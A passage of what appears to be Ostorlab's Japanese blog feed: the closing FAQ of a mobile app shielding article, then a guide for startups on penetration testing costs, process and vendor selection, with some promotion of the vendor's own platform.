&lt;p&gt;8か所の強制箇所すべてが、一つのメソッドの戻り値を読み取っていたからです。判定を一元化すると、組み込みが容易で監査も簡単になりますが、それは一つのフックですべてを無効化できることも意味します。&lt;/p&gt;
&lt;h3 id="root検知だけで十分か"&gt;root検知だけで十分か&lt;/h3&gt;
&lt;p&gt;十分ではありません。root検知は入力であって、制御ではありません。アプリは依然としてそれをどう扱うかを決める必要があり、rootの痕跡を隠したり、プロパティを書き換えたり、検知器をフックしたり、アプリにパッチを当てたりできる攻撃者も考慮しなければなりません。&lt;/p&gt;
&lt;h3 id="証明書ピンニングだけで十分か"&gt;証明書ピンニングだけで十分か&lt;/h3&gt;
&lt;p&gt;十分ではありません。ピンニングはアプリケーションのコードで実装されているため、そのコードをフックしたりパッチを当てたりすれば無効化できます。導入する価値はありますが、機密性の高いトランザクションにおける唯一の保護にすべきではありません。&lt;/p&gt;
&lt;h3 id="シールディングでビジネスロジックの欠陥を防げるか"&gt;シールディングでビジネスロジックの欠陥を防げるか&lt;/h3&gt;
&lt;p&gt;防げません。シールディングは敵対的な実行環境を検知することはあっても、認証、認可、サーバー側の検証、トランザクションの完全性の代わりにはなりません。認証されていないディープリンクでトランザクションを作成できるのであれば、シールディングは適切な防御策ではありません。&lt;/p&gt;
&lt;h3 id="モバイルチームが最初にチェックすべきことは何か"&gt;モバイルチームが最初にチェックすべきことは何か&lt;/h3&gt;
&lt;p&gt;アプリをroot化された端末にインストールし、停止するかどうかを確認してください。次に、判定を読み取っている箇所がいくつあるかを数えてください。そしてiOSでは、バイナリが自身の署名を検証していることを確認してください。この3つの答えによって、それ以外への投資が実際に効果を上げているかどうかが決まります。&lt;/p&gt;
&lt;h2 id="参考文献"&gt;参考文献&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://blog.ostorlab.co/can-you-trust-ai-pentesting-results.html"&gt;Ostorlab：AIは攻撃を実行できる。その結果を信頼できるか&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://android.googlesource.com/platform/bionic/+/master/libc/system_properties/"&gt;Androidのシステムプロパティの実装（AOSP bionic）&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://mas.owasp.org/MASTG/"&gt;OWASP Mobile Application Security Testing Guide：Anti-Tampering and Anti-Reversing&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content><category term="Security"/><category term="Mobile Security"/><category term="Android"/><category term="iOS"/><category term="RASP"/><category term="Reverse Engineering"/><category term="AppSec"/></entry><entry><title>スタートアップのためのペネトレーションテスト完全ガイド2026年版（費用、プロセス、ベンダー選定）</title><link href="https://blog.ostorlab.co/ja/penetration-testing-for-startups-2026-guide.html" rel="alternate"/><published>2026-08-09T10:30:00+02:00</published><updated>2026-08-09T10:30:00+02:00</updated><author><name>Bilal Harras</name></author><id>tag:blog.ostorlab.co,2026-08-09:/ja/penetration-testing-for-startups-2026-guide.html</id><summary type="html">&lt;p&gt;ペネトレーションテストとは何か、2026年のスタートアップにとっての費用、5つのステップからなるテストのプロセス、そして自社の技術スタックに合ったベンダーの選び方を解説する包括的なガイドです。&lt;/p&gt;</summary><content type="html">&lt;p&gt;スタートアップは素早く動きます。それが強みの一部です。機能をリリースし、初期の顧客を獲得し、大企業よりも速く適応します。&lt;/p&gt;
&lt;p&gt;セキュリティは、その前提を変えます。すべてのスタートアップが国家レベルの攻撃者に狙われようとしているからではありません。より大きな顧客に販売を始めた時点で、信頼が製品の一部になるからです。エンタープライズの購買担当者、監査人、投資家、買収候補企業は、言い方こそ違っても、皆同じ基本的な問いを投げかけます。&lt;em&gt;この会社は自社のシステムとデータを守れると信頼してよいのか。&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;この問いに答える一般的な方法の一つが、最近実施した第三者によるペネトレーションテスト（ペンテスト）です。それはセキュリティを保証するものではありません。優れたエンジニアリングの代わりになるものでもありません。しかし、有用なエビデンスにはなります。社外の誰かが実際の弱点を探し、それを検証しようと試み、その結果を文書化したことを示すからです。&lt;/p&gt;
&lt;p&gt;多くのスタートアップにとって、最初のペンテストは社内のセキュリティロードマップから生まれるものではありません。商談、SOC 2の監査、投資家からの要請、あるいはベンダー向けのセキュリティ質問票がきっかけになります。それは悪いことではありません。セキュリティは、インセンティブに迫られて導入されることが多いものです。重要なのは、会社がテストを単なるチェックボックスを埋める作業として扱うのか、それともシステムの改善に役立てるのかという点です。&lt;/p&gt;
&lt;p&gt;本ガイドでは、ペンテストとは何か、2026年に一般的にどの程度の費用がかかるのか、スタートアップがエンジニアリングを停滞させずにテストを実施するにはどうすればよいか、そしてマーケティング上の主張とセキュリティ上の成果を混同せずにベンダーを選ぶにはどうすればよいかを説明します。&lt;/p&gt;
&lt;h2 id="スタートアップにペンテストが必要な理由"&gt;スタートアップにペンテストが必要な理由&lt;/h2&gt;
&lt;p&gt;ペンテストは、しばしば模擬攻撃と説明されます。それは正確ですが、十分ではありません。&lt;/p&gt;
&lt;p&gt;スタートアップにとって、ペンテストは信頼の仕組みでもあります。購買担当者、監査人、投資家に、評価の対象となる具体的なものを提供します。「当社はセキュリティを真剣に考えています」という漠然とした主張を、スコープ、手法、検出結果、修復、再テストというエビデンスに変えるのです。&lt;/p&gt;
&lt;p&gt;最初のテストは通常、次の3つのプレッシャーのいずれかがきっかけになります。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;エンタープライズ向けの販売&lt;/strong&gt;。大企業の顧客は、ベンダーを承認する前に、最近のペンテストのレポートや証明書（Letter of Attestation）を求めることがよくあります。それがなくても商談がすぐに破談になるとは限りませんが、調達やセキュリティレビューの段階で何週間も何か月も止まってしまう可能性があります。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;コンプライアンスと監査&lt;/strong&gt;。SOC 2、ISO 27001、HIPAA、GDPR、DORAといったフレームワークは、いずれも組織が技術的なリスクを特定し管理することを求めています。具体的な要件は、フレームワーク、監査人、業界、システムのスコープによって異なります。しかし、信頼できるペンテストは、会社が実際の攻撃経路に対して自社の制御をテストしたことを示すエビデンスとして一般的に受け入れられています。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;投資家と買収におけるデューデリジェンス&lt;/strong&gt;。投資家や買収候補企業は、セキュリティの不備が財務上の負債になり得ることをますます認識するようになっています。発覚していない侵害、脆弱なアクセス制御、未解決のクリティカルな脆弱性は、企業価値に影響したり、資金調達ラウンドを遅らせたり、買収を複雑にしたりする可能性があります。&lt;/p&gt;
&lt;p&gt;これらの理由はいずれも、純粋に技術的なものではありません。信頼、リスクの移転、説明責任に関わるものです。&lt;/p&gt;
&lt;h2 id="ペンテストとは何か、そして何ではないか"&gt;ペンテストとは何か、そして何ではないか&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;ペンテスト&lt;/strong&gt;とは、アプリケーション、API、クラウド環境、モバイルアプリ、ネットワーク、その他のシステムにおけるセキュリティ上の弱点を見つけて検証するための、許可を得た試みです。&lt;/p&gt;
&lt;p&gt;優れたペンテストは、単に脆弱性を列挙するだけではありません。次のような実践的な問いに答えようとします。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;攻撃者が他の顧客のデータにアクセスできるか。&lt;/li&gt;
&lt;li&gt;一般ユーザーが管理者になれるか。&lt;/li&gt;
&lt;li&gt;認証や認可をバイパスできるか。&lt;/li&gt;
&lt;li&gt;機密データを抜き取れるか。&lt;/li&gt;
&lt;li&gt;重大度の低い複数の問題を連鎖させて、深刻な侵害につなげられるか。&lt;/li&gt;
&lt;li&gt;クラウド、API、アプリケーションの制御が、意図したとおりに連携して機能しているか。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;これが重要なのは、セキュリティの不備はシステム全体に関わることが多いからです。一つのチェックの欠如は、それだけを見れば深刻に見えないかもしれません。しかし、脆弱なセッション管理、過剰な権限、不十分なテナント分離と組み合わさると、クリティカルなものになり得ます。&lt;/p&gt;
&lt;p&gt;スタートアップは一般に、3つの調達モデルから選択します。&lt;/p&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left;"&gt;調達のカテゴリ&lt;/th&gt;
&lt;th style="text-align: left;"&gt;仕組み&lt;/th&gt;
&lt;th style="text-align: left;"&gt;最適な用途&lt;/th&gt;
&lt;th style="text-align: left;"&gt;一般的な費用&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;従来型のコンサルティング会社&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;人間のテスターが対象システムを評価し、悪用を試み、正式なレポートを作成する。&lt;/td&gt;
&lt;td style="text-align: left;"&gt;特定時点の監査、複雑なビジネスロジック、規制対象の環境、M&amp;amp;Aのデューデリジェンス。&lt;/td&gt;
&lt;td style="text-align: left;"&gt;1回のテストあたりUSD 15,000〜USD 40,000+&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;バグバウンティとクラウドソーシング型テスト&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;外部の研究者が、多くの場合マネージドプラットフォームを通じて脆弱性を報告する。&lt;/td&gt;
&lt;td style="text-align: left;"&gt;継続的に寄せられる報告をトリアージ、検証、管理する能力を持つ成熟したチーム。&lt;/td&gt;
&lt;td style="text-align: left;"&gt;バグごとの報酬とプラットフォーム利用料&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;統合型AIセキュリティプラットフォーム&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;自動化されたシステムやエージェント型のシステムが、継続的なスキャンとより深いテストのワークフローを実行する。CI/CDに組み込まれることが多い。&lt;/td&gt;
&lt;td style="text-align: left;"&gt;頻繁なカバレッジ、迅速なフィードバック、低コストの評価を必要とするスタートアップ。&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;a href="https://ostorlab.co/plans" rel="noopener noreferrer" target="_blank"&gt;単発の評価でUSD 499から&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;どのモデルにもトレードオフがあります。従来型のコンサルティング会社は深さを提供できる一方で、費用が高く、スケジュール調整にも時間がかかることがあります。バグバウンティプログラムは有用な検出結果をもたらすことがありますが、カバレッジにはばらつきがあり、トリアージの負担も現実的な問題です。AIベースのプラットフォームはスピードと再現性を提供できますが、購入者は、検出結果がどのように検証されるのか、ビジネスロジックがどのようにテストされるのか、監査人が何を受け入れるのかを慎重に確認する必要があります。&lt;/p&gt;
&lt;p&gt;適切な選択は、どのようなリスクを減らしたいのか、そしてどのようなエビデンスを示す必要があるのかによって決まります。&lt;/p&gt;
&lt;h2 id="2026年、スタートアップのペンテストにかかる費用"&gt;2026年、スタートアップのペンテストにかかる費用&lt;/h2&gt;
&lt;p&gt;価格はしばしば不透明です。その理由の一部はスコープがさまざまであることにあり、また一部はセキュリティベンダーにとって価格が不透明であることが得になることにあります。&lt;/p&gt;
&lt;p&gt;シンプルなマーケティングサイトに対するテストと、ロールベースのアクセス制御、API、クラウドインフラ、SSO、機密性の高い顧客データを備えたマルチテナントのSaaSプラットフォームに対するテストは同じではありません。ユーザーロール、環境、連携、ワークフローの数によって、費用は大きく変わり得ます。&lt;/p&gt;
&lt;p&gt;創業者は、&lt;strong&gt;継続的な脆弱性スキャン&lt;/strong&gt;と&lt;strong&gt;ペンテスト&lt;/strong&gt;を区別する必要もあります。どちらも有用ですが、役割は異なります。スキャナーは、既知の脆弱性、露出したサービス、設定ミス、古い依存関係の検出に役立ちます。ペンテストは、弱点が実際の状況で悪用可能かどうかを検証しようとします。&lt;/p&gt;
&lt;h3 id="地域別のコンサルタント日額単価とスコープ別の見積もり"&gt;地域別のコンサルタント日額単価とスコープ別の見積もり&lt;/h3&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left;"&gt;地域 / 市場&lt;/th&gt;
&lt;th style="text-align: left;"&gt;コンサルタントの平均日額単価&lt;/th&gt;
&lt;th style="text-align: left;"&gt;WebアプリとAPIのペンテストの価格帯&lt;/th&gt;
&lt;th style="text-align: left;"&gt;フルスタック：Web + API + クラウド&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;北米：米国 / カナダ&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;USD 2,000〜USD 3,500 / 日&lt;/td&gt;
&lt;td style="text-align: left;"&gt;USD 8,000〜USD 25,000&lt;/td&gt;
&lt;td style="text-align: left;"&gt;USD 18,000〜USD 40,000&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;西欧と英国&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;EUR 1,200〜EUR 2,200 / 日 / GBP 1,000〜GBP 1,800 / 日&lt;/td&gt;
&lt;td style="text-align: left;"&gt;EUR 6,000〜EUR 18,000 / GBP 5,000〜GBP 15,000&lt;/td&gt;
&lt;td style="text-align: left;"&gt;EUR 15,000〜EUR 35,000 / GBP 13,000〜GBP 30,000&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;APACとLATAM&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;USD 600〜USD 1,500 / 日&lt;/td&gt;
&lt;td style="text-align: left;"&gt;USD 3,000〜USD 10,000&lt;/td&gt;
&lt;td style="text-align: left;"&gt;USD 8,000〜USD 20,000&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;統合型AIプラットフォーム&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;固定価格または自動化された価格設定&lt;/td&gt;
&lt;td style="text-align: left;"&gt;1回のテストあたりUSD 499から&lt;/td&gt;
&lt;td style="text-align: left;"&gt;透明性のある段階的なプラン&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="スコープ別の一般的な費用"&gt;スコープ別の一般的な費用&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Webアプリケーションのペンテスト&lt;/strong&gt;は、複雑さ、地域、ベンダーの種類に応じて、一般にUSD 3,000〜USD 18,000の範囲です。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;a href="https://ostorlab.co/product/web_api" rel="noopener noreferrer" target="_blank"&gt;APIのセキュリティテスト&lt;/a&gt;&lt;/strong&gt;は、中程度の複雑さのRESTまたはGraphQLのAPIであれば、一般にUSD 3,000〜USD 15,000の範囲です。&lt;/p&gt;
&lt;p&gt;AWS、GCP、Azureの&lt;strong&gt;クラウド構成レビュー&lt;/strong&gt;は、多くの場合USD 3,000〜USD 12,000の範囲です。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Web、API、クラウドを組み合わせた評価&lt;/strong&gt;は、地域のコンサルティング会社では通常USD 8,000〜USD 35,000の範囲です。&lt;/p&gt;
&lt;p&gt;実務上の問題の一つが再テストです。クリティカルな脆弱性を列挙したレポートだけでは、多くの監査やエンタープライズのレビューには不十分です。問題が修正されたことを示すエビデンスが必要です。契約に署名する前に、修復後の再テストが含まれているかを確認してください。含まれていない場合は、追加で30%〜50%の予算を見込んでおきます。&lt;/p&gt;
&lt;h2 id="スタートアップがペンテストを先延ばしにすべきでない理由"&gt;スタートアップがペンテストを先延ばしにすべきでない理由&lt;/h2&gt;
&lt;p&gt;ペンテストを行うべきだという通常の主張は、侵害の防止に役立つというものです。それは正しいのですが、十分ではありません。スタートアップがペンテストを必要とするのは、多くの場合、セキュリティがビジネス上の意思決定の一部になっているからです。&lt;/p&gt;
&lt;h3 id="1. エンタープライズ向けの販売は信頼のエビデンスにかかっている"&gt;1. エンタープライズ向けの販売は信頼のエビデンスにかかっている&lt;/h3&gt;
&lt;p&gt;&lt;a href="https://ostorlab.co/solutions/secure_web_app" rel="noopener noreferrer" target="_blank"&gt;B2BのSaaSプラットフォーム&lt;/a&gt;を販売している場合、顧客はソフトウェアを購入しているだけではありません。依存関係を引き受けているのです。&lt;/p&gt;
&lt;p&gt;その顧客は、自社のシステムがデータを保護し、テナントを分離し、権限を適用し、一般的な攻撃に耐えられるかどうかを知る必要があります。最近のペンテストは、こうした問いに答える助けになります。セキュリティレビューの期間を短縮し、調達チームとのやり取りを減らし、CISOに評価の対象となる具体的なものを提供できます。&lt;/p&gt;
&lt;p&gt;セキュリティレビューがなくなるわけではありません。レビューのより良い出発点を与えるのです。&lt;/p&gt;
&lt;h3 id="2. コンプライアンスにはポリシー以上のものが必要"&gt;2. コンプライアンスにはポリシー以上のものが必要&lt;/h3&gt;
&lt;p&gt;コンプライアンスのフレームワークは、一般に漠然とした意図を評価しません。エビデンスを求めます。&lt;/p&gt;
&lt;p&gt;SOC 2、ISO 27001、HIPAA、GDPR、DORAは、それぞれセキュリティへのアプローチが異なりますが、共通の前提があります。組織は技術的な弱点を特定し、リスクを評価し、対策を講じるべきだという前提です。&lt;/p&gt;
&lt;p&gt;たとえば、次のとおりです。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;SOC 2 Type II&lt;/strong&gt;の監査人は、リスク評価、監視、脆弱性管理、制御の運用に関するエビデンスを確認することがよくあります。ペンテストが常に明示的に求められるわけではありませんが、裏付けとなるエビデンスとして一般的に用いられています。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ISO 27001&lt;/strong&gt;の管理策A.8.8は、組織に技術的脆弱性の管理を求めています。継続的なスキャンと定期的なペンテストは、この管理策を支える一般的な方法です。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;HIPAAとGDPR&lt;/strong&gt;は、機密データを保護する技術的措置を評価しテストすることを組織に求めています。ペンテストは、制御が検証されたことを示す実践的なエビデンスになり得ます。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;DORA&lt;/strong&gt;は、金融機関にデジタル・オペレーショナル・レジリエンスのテストを実施することを求めており、重要なシステムにはより高度な要件が課され、特定の場合には脅威ベースのペンテストも含まれます。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;目的は、文書を集めること自体ではありません。セキュリティ制御が存在し、運用され、テストされていることを示すことです。&lt;/p&gt;
&lt;h3 id="3. 投資家と買収候補企業は隠れたリスクを気にする"&gt;3. 投資家と買収候補企業は隠れたリスクを気にする&lt;/h3&gt;
&lt;p&gt;セキュリティの問題は、財務の問題になり得ます。&lt;/p&gt;
&lt;p&gt;資金調達や買収のデューデリジェンスの際、投資家は最近のペンテストのレポート、脆弱性管理の記録、クラウドセキュリティのエビデンス、インシデントの履歴を求めることがあります。基本的なセキュリティのエビデンスを提示できないスタートアップは、製品が優れていても、運用面で未熟に見える可能性があります。&lt;/p&gt;
&lt;p&gt;これは特に、決済データ、医療データ、ID関連データ、財務記録、ソースコード、エンタープライズ顧客のデータを扱う企業に当てはまります。&lt;/p&gt;
&lt;h3 id="4. 侵害はランウェイを消耗させる"&gt;4. 侵害はランウェイを消耗させる&lt;/h3&gt;
&lt;p&gt;脆弱性を修正する直接的なコストは、インシデントの後にそれが発覚した場合のコストと比べれば、多くの場合わずかなものです。&lt;/p&gt;
&lt;p&gt;侵害には、インシデント対応の契約費用、法務顧問、顧客への通知、規制当局からの照会、フォレンジック調査、保険をめぐる紛争、失注、評判の毀損が伴う可能性があります。インシデント対応には、ビジネスへの影響の全容が分かる前の段階で、USD 50,000以上の先行投資が必要になることもあります。&lt;/p&gt;
&lt;p&gt;ペンテストは失敗に対する保険ではありません。しかし、攻撃者や顧客より先に、ある種の失敗を見つけるための比較的安価な方法です。&lt;/p&gt;
&lt;h2 id="ペンテストのプロセス"&gt;ペンテストのプロセス&lt;/h2&gt;
&lt;p&gt;ペンテストは、スタートアップが適切に準備したときに最も効果を発揮します。スコープの設定が不十分だと費用が無駄になります。アクセスの準備が不十分だとテストが遅れます。修復が不十分だと、レポートは棚ざらしの資料になってしまいます。&lt;/p&gt;
&lt;p&gt;実践的なプロセスには、5つの段階があります。&lt;/p&gt;
&lt;h3 id="1. スコープの設定と準備"&gt;1. スコープの設定と準備&lt;/h3&gt;
&lt;p&gt;最初のステップは、何をスコープに含めるかを定義することです。これには、ドメイン、アプリケーション、API、クラウドアカウント、モバイルアプリ、ユーザーロール、環境、テスト用の認証情報、除外対象が含まれます。&lt;/p&gt;
&lt;p&gt;ほとんどのスタートアップにとって、通常は&lt;strong&gt;グレーボックステスト&lt;/strong&gt;が最も費用対効果の高い使い方です。一般ユーザー、管理者、テナント固有のロールなど、現実的なユーザーロールの認証情報をテスターに渡します。そうすることで、テスターは基本的な調査に時間を費やすのではなく、認可、データアクセス、権限昇格、ビジネスロジックに集中できます。&lt;/p&gt;
&lt;p&gt;可能であれば、本番環境に近いステージング環境でテストを実施します。匿名化されたデータまたは合成データを使用します。環境は、意味のある結果が得られる程度に現実的であると同時に、積極的なテストを行っても安全である必要があります。&lt;/p&gt;
&lt;h3 id="2. 調査と脆弱性の特定"&gt;2. 調査と脆弱性の特定&lt;/h3&gt;
&lt;p&gt;テスターまたはテストシステムが、アタックサーフェスをマッピングし、エントリーポイントを特定し、ワークフローを確認して、弱点を探します。&lt;/p&gt;
&lt;p&gt;これには、認証のテスト、認可のテスト、APIの列挙、入力検証のチェック、クラウドの設定ミスのレビュー、依存関係の分析、セッション管理のレビュー、ビジネスロジックのテストが含まれる場合があります。&lt;/p&gt;
&lt;p&gt;重要なのは、問題の可能性を見つけることと、実在する問題を実証することの違いです。&lt;/p&gt;
&lt;h3 id="3. 悪用と検証"&gt;3. 悪用と検証&lt;/h3&gt;
&lt;p&gt;有用な検出結果にはエビデンスが必要です。&lt;/p&gt;
&lt;p&gt;テスターがテナントをまたいだアクセスが可能だと主張するなら、レポートはそれがどのように再現されたかを示すべきです。APIの認可の不備が存在するなら、エビデンスには、影響を受けるエンドポイント、リクエスト、レスポンス、使用したロール、影響が含まれるべきです。クラウドの設定ミスによって機密データが露出しているなら、レポートは何に、どのような条件でアクセスできたのかを説明すべきです。&lt;/p&gt;
&lt;p&gt;誤検知（フォールスポジティブ）は高くつきます。エンジニアリングの時間を浪費し、プロセスへの信頼を損ないます。優れたペンテストには敵対的な検証が含まれます。つまり、検出結果は報告される前に反証を試みられるべきです。&lt;/p&gt;
&lt;h3 id="4. レポートと報告会"&gt;4. レポートと報告会&lt;/h3&gt;
&lt;p&gt;最終レポートは、エンジニアと意思決定者の両方に向けて書かれるべきです。&lt;/p&gt;
&lt;p&gt;エンジニアには、再現手順、影響を受けるコンポーネント、ペイロード、スクリーンショット、HTTPトレース、重大度、修復ガイダンスが必要です。経営陣と監査人には、スコープ、手法、リスク、修復状況、残存するエクスポージャーの要約が必要です。&lt;/p&gt;
&lt;p&gt;優れたレポートは、単に「クリティカルな脆弱性を発見」と述べるだけではいけません。その問題がなぜ重要なのか、攻撃者がそれを悪用した場合に何が起こるのかを説明するべきです。&lt;/p&gt;
&lt;h3 id="5. 修復と再テスト"&gt;5. 修復と再テスト&lt;/h3&gt;
&lt;p&gt;テストは、レポートが納品された時点で終わるわけではありません。深刻な検出結果が修正され、検証された時点で終わります。&lt;/p&gt;
&lt;p&gt;再テストでは、特定の脆弱性が明らかな退行を生むことなく修復されたことを確認する必要があります。コンプライアンスやエンタープライズ向けの販売においては、このステップが当初のテストと同じくらい重要になることがよくあります。より明確な証明を裏付けるからです。&lt;/p&gt;
&lt;h2 id="適切なペンテストパートナーの選び方"&gt;適切なペンテストパートナーの選び方&lt;/h2&gt;
&lt;p&gt;セキュリティ市場には、熟練した専門家、有用なプラットフォーム、汎用的なスキャナー、そして大量のマーケティングが存在します。スタートアップは、形容詞ではなくエビデンスに基づいてベンダーを評価する必要があります。&lt;/p&gt;
&lt;p&gt;最も重要な問いはシンプルです。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;具体的に何がテストされるのか。&lt;/li&gt;
&lt;li&gt;誰が、あるいは何がテストを実施するのか。&lt;/li&gt;
&lt;li&gt;検出結果はどのように検証されるのか。&lt;/li&gt;
&lt;li&gt;レポートにはどのようなエビデンスが記載されるのか。&lt;/li&gt;
&lt;li&gt;再テストは含まれているのか。&lt;/li&gt;
&lt;li&gt;そのレポートは、それを求めた購買担当者、監査人、投資家を満足させられるのか。&lt;/li&gt;
&lt;li&gt;どれくらい早くテストを開始できるのか。&lt;/li&gt;
&lt;li&gt;そのプロセスはエンジニアリングにどれほどの負担をかけるのか。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;ほとんどのベンダーは、3つのカテゴリのいずれかに分類されます。&lt;/p&gt;
&lt;h3 id="1. 従来型のコンサルティング会社"&gt;1. 従来型のコンサルティング会社&lt;/h3&gt;
&lt;p&gt;例としては、Bishop FoxやNCC Groupなどの企業があります。&lt;/p&gt;
&lt;p&gt;主な利点は深さです。熟練した人間のテスターは、複雑なビジネスロジック、一般的でないアーキテクチャ、微妙な認可の不備を理解できます。規制対象の環境、価値の高いシステム、M&amp;amp;Aのデューデリジェンスでは、その費用に見合う価値があり得ます。&lt;/p&gt;
&lt;p&gt;トレードオフはスピードと価格です。スケジュール調整に何週間も何か月もかかることがあります。レポートが届く頃には、製品がすでに変わっていることもあります。動きの速いスタートアップにとって、特定時点の評価はすぐに古くなる可能性があります。&lt;/p&gt;
&lt;p&gt;従来型のコンサルティングは、システムが複雑な場合、エビデンスの要件が厳しい場合、あるいは購買担当者が著名な独立系企業を期待している場合に、適切な選択となることが多いでしょう。&lt;/p&gt;
&lt;h3 id="2. バグバウンティとクラウドソーシング型のセキュリティ"&gt;2. バグバウンティとクラウドソーシング型のセキュリティ&lt;/h3&gt;
&lt;p&gt;例としては、HackerOneやBugcrowdなどのプラットフォームがあります。&lt;/p&gt;
&lt;p&gt;利点は多様性です。多くの研究者がさまざまな角度からシステムを調べることができ、成熟したプログラムは時間をかけて価値のある検出結果を生み出せます。&lt;/p&gt;
&lt;p&gt;トレードオフはコントロールです。カバレッジにはばらつきがあります。研究者は、見つけやすい問題や報酬を得やすい問題に集中することがあります。複雑なビジネスロジック、手間のかかる認可のテスト、地味な設定の問題には、あまり注意が払われない可能性があります。バグバウンティプログラムには、トリアージ、検証、研究者とのコミュニケーション、重複への対応、修復の追跡といった社内の成熟度も求められます。&lt;/p&gt;
&lt;p&gt;バグバウンティプログラムは、通常、会社がすでに基本的なセキュリティプロセスを構築した後に適しています。&lt;/p&gt;
&lt;h3 id="3. 統合型aiセキュリティプラットフォーム"&gt;3. 統合型AIセキュリティプラットフォーム&lt;/h3&gt;
&lt;p&gt;例としては、&lt;a href="https://www.ostorlab.co/" rel="noopener noreferrer" target="_blank"&gt;Ostorlab&lt;/a&gt;があります。&lt;/p&gt;
&lt;p&gt;利点は、スピード、再現性、連携です。プラットフォームは頻繁にチェックを実行し、CI/CDに組み込まれ、新しいコードやインフラの変更によってリスクが生じたときに迅速なフィードバックを提供できます。&lt;/p&gt;
&lt;p&gt;一般に、有用なモードは2つあります。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;継続的なスキャン&lt;/strong&gt;は、既知の脆弱性、古いライブラリ、露出したサービス、設定ミス、一般的な弱点を継続的に可視化します。これは日々の衛生管理です。チームが問題を早期に発見するのに役立ちます。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;自律的な詳細テスト&lt;/strong&gt;は、ワークフロー、認証、認可、APIの挙動、ビジネスロジックをテストすることで、さらに踏み込もうとします。&lt;a href="https://ostorlab.co/product/web_agentic_deep_scan" rel="noopener noreferrer" target="_blank"&gt;熟練した人間のハッカーのように振る舞うAIサイバーモデル&lt;/a&gt;は、複雑なアプリケーションをクロールし、仮説を立て、検出結果を検証し、構造化されたエビデンスを生成できます。&lt;/p&gt;
&lt;p&gt;このモデルは、大きなコンサルティング予算なしに、迅速なフィードバックと頻繁なテストを必要とするスタートアップに特に有用です。また、&lt;a href="https://docs.ostorlab.co/integrations/github/index.html" rel="noopener noreferrer" target="_blank"&gt;GitHub連携&lt;/a&gt;などの仕組みを通じて開発パイプラインに組み込むことで、エンジニアリングのワークフローを支えることもできます。&lt;/p&gt;
&lt;p&gt;トレードオフは、購入者がエビデンスを慎重に吟味する必要があることです。すべての自動化プラットフォームが本物のペンテストを行っているわけではありません。ブランディングが優れているだけの脆弱性スキャナーもあります。プラットフォームがどのように検出結果を検証し、認証を扱い、ビジネスロジックをテストし、誤検知を減らし、監査に耐えるエビデンスを生成するのかを確認してください。また、合格しようとしている特定のレビューについて、監査人や顧客がそのレポートを受け入れるかどうかも確認してください。&lt;/p&gt;
&lt;p&gt;これは、どのベンダーに対しても問うべき核心的な質問です。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;検出結果が実在し、悪用可能で、当社のシステムに関係するものであることを、どのように実証するのか。&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;答えが曖昧であれば、その成果物にはあまり価値がないかもしれません。&lt;/p&gt;
&lt;h2 id="ブラックボックス、グレーボックス、ホワイトボックステスト"&gt;ブラックボックス、グレーボックス、ホワイトボックステスト&lt;/h2&gt;
&lt;p&gt;ペンテストは、テスターにどれだけの情報が与えられるかによって分類されることがよくあります。&lt;/p&gt;
